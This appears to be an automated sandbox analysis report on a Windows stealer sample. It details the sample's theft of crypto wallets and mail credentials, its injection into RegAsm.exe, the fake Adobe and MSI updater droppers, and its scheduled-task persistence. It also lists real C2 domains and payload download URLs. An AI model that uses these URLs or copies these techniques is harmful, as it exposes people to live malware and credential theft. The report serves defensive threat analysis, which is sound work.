Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Searches for user specific document files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Directory queried: C:\Users\user\Documents\NHPKIZUUSG Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Yara detected Credential Stealer
Source: Yara match File source: 00000028.00000002.2783994618.0000000001057000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000029.00000002.2784153638.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: OJa1BOigU3.exe PID: 1804, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 5064, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 5544, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 5856, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected PureLog Stealer
Source: Yara match File source: 15.0.U8cABsPhZFkKRrQ4rE0N.exe.bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.637f940.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.6333a00.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.6339420.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.637f940.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.6333a00.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.637f940.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.637f940.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.6333a00.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.6333a00.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.OJa1BOigU3.exe.634bfa0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000003.2277600314.000000000637F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2275260383.0000000006333000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2278188796.00000000068DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2275159782.0000000006301000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.2287643902.0000000000BB2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2275215754.0000000005E61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2804[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\AdobeUpdaterV1_209ffc424b0966fd64861c7290d2a06a\AdobeUpdaterV1.exe, type: DROPPED
Source: Yara match File source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe, type: DROPPED
Yara detected RisePro Stealer
Source: Yara match File source: 00000000.00000003.2165765311.0000000005E90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 3Q7v9y6Zw0a51Z43zHih.exe PID: 3336, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSIUpdaterV1.exe PID: 5224, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSIUpdaterV1.exe PID: 5344, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AdobeUpdaterV1.exe PID: 5568, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 796, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 6172, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 6244, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\RLhyDRs2UHaLI0bTHvNtryI.zip, type: DROPPED
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1436604 Sample: OJa1BOigU3.exe Startdate: 06/05/2024 Architecture: WINDOWS Score: 100 79 miniaturefinerninewjs.shop 2->79 81 ipinfo.io 2->81 83 db-ip.com 2->83 93 Snort IDS alert for network traffic 2->93 95 Multi AV Scanner detection for domain / URL 2->95 97 Found malware configuration 2->97 99 11 other signatures 2->99 10 OJa1BOigU3.exe 3 89 2->10         started        15 MSIUpdaterV1.exe 2->15         started        17 MSIUpdaterV1.exe 2->17         started        19 8 other processes 2->19 signatures3 process4 dnsIp5 87 193.233.132.226, 49732, 50500 FREE-NET-ASFREEnetEU Russian Federation 10->87 89 5.42.66.10, 49741, 80 RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU Russian Federation 10->89 91 3 other IPs or domains 10->91 67 C:\Users\user\...\v6ggwc2fJXXgIu5fzDQ2.exe, PE32 10->67 dropped 69 C:\Users\user\...\U8cABsPhZFkKRrQ4rE0N.exe, PE32 10->69 dropped 71 C:\Users\user\...\3Q7v9y6Zw0a51Z43zHih.exe, PE32 10->71 dropped 73 10 other malicious files 10->73 dropped 133 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 10->133 135 Tries to steal Mail credentials (via file / registry access) 10->135 137 Found many strings related to Crypto-Wallets (likely being stolen) 10->137 151 3 other signatures 10->151 21 U8cABsPhZFkKRrQ4rE0N.exe 1 10->21         started        24 v6ggwc2fJXXgIu5fzDQ2.exe 10->24         started        26 3Q7v9y6Zw0a51Z43zHih.exe 2 10->26         started        34 6 other processes 10->34 139 Multi AV Scanner detection for dropped file 15->139 141 Writes to foreign memory regions 15->141 143 Allocates memory in foreign processes 15->143 28 RegAsm.exe 15->28         started        145 Antivirus detection for dropped file 17->145 147 Machine Learning detection for dropped file 17->147 149 Injects a PE file into a foreign processes 17->149 36 3 other processes 17->36 30 RegAsm.exe 19->30         started        32 conhost.exe 19->32         started        38 4 other processes 19->38 file6 signatures7 process8 signatures9 101 Antivirus detection for dropped file 21->101 103 Machine Learning detection for dropped file 21->103 105 Contains functionality to inject code into remote processes 21->105 123 2 other signatures 21->123 40 RegAsm.exe 21->40         started        44 RegAsm.exe 21->44         started        107 Multi AV Scanner detection for dropped file 24->107 109 Writes to foreign memory regions 24->109 111 Allocates memory in foreign processes 24->111 46 RegAsm.exe 24->46         started        49 WerFault.exe 24->49         started        113 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 26->113 115 Query firmware table information (likely to detect VMs) 28->115 117 Tries to harvest and steal browser information (history, passwords, etc) 28->117 119 Tries to steal Crypto Currency Wallets 28->119 121 Found many strings related to Crypto-Wallets (likely being stolen) 30->121 51 conhost.exe 34->51         started        53 conhost.exe 34->53         started        55 conhost.exe 34->55         started        57 3 other processes 34->57 process10 dnsIp11 85 miniaturefinerninewjs.shop 104.21.30.191, 443, 49744, 49745 CLOUDFLARENETUS United States 40->85 125 Query firmware table information (likely to detect VMs) 40->125 127 Found many strings related to Crypto-Wallets (likely being stolen) 40->127 129 Tries to steal Crypto Currency Wallets 40->129 75 C:\Users\user\AppData\Local\...\RageMP1.exe, PE32 46->75 dropped 77 C:\ProgramData\MPGPH1\MPGPH1.exe, PE32 46->77 dropped 131 Creates multiple autostart registry keys 46->131 59 schtasks.exe 46->59         started        61 schtasks.exe 46->61         started        file12 signatures13 process14 process15 63 conhost.exe 59->63         started        65 conhost.exe 61->65         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
5.42.66.10
 unknown Russian Federation
39493 RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU false
34.117.186.192
 ipinfo.io United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
193.233.132.226
 unknown Russian Federation
2895 FREE-NET-ASFREEnetEU true
104.26.5.15
 db-ip.com United States
13335 CLOUDFLARENETUS false
193.233.132.253
 unknown Russian Federation
2895 FREE-NET-ASFREEnetEU false
104.21.30.191
 miniaturefinerninewjs.shop United States
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
ipinfo.io 34.117.186.192 true
miniaturefinerninewjs.shop 104.21.30.191 true
db-ip.com 104.26.5.15 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://miniaturefinerninewjs.shop/api false
  • 10%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
miniaturefinerninewjs.shop true
  • 1%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
https://db-ip.com/demo/home.php?s=84.17.40.101 false
    		high
    obsceneclassyjuwks.shop true
    • 1%, Virustotal, Browse
    • Avira URL Cloud: safe
    		 unknown
    http://193.233.132.253/retailerTest.exe false
    • 26%, Virustotal, Browse
    • Avira URL Cloud: safe
    		 unknown
    boredimperissvieos.shop true
    • 1%, Virustotal, Browse
    • Avira URL Cloud: safe
    		 unknown
    sweetsquarediaslw.shop true
    • 11%, Virustotal, Browse
    • Avira URL Cloud: safe
    		 unknown
    plaintediousidowsko.shop true
    • 1%, Virustotal, Browse
    • Avira URL Cloud: safe
    		 unknown
    acceptabledcooeprs.shop true
    • 1%, Virustotal, Browse
    • Avira URL Cloud: safe
    		 unknown
    zippyfinickysofwps.shop true
    • 1%, Virustotal, Browse
    • Avira URL Cloud: safe
    		 unknown
    http://193.233.132.253/lumma2804.exe false
    • 26%, Virustotal, Browse
    • Avira URL Cloud: malware
    		 unknown
    holicisticscrarws.shop true
    • 1%, Virustotal, Browse
    • Avira URL Cloud: safe
    		 unknown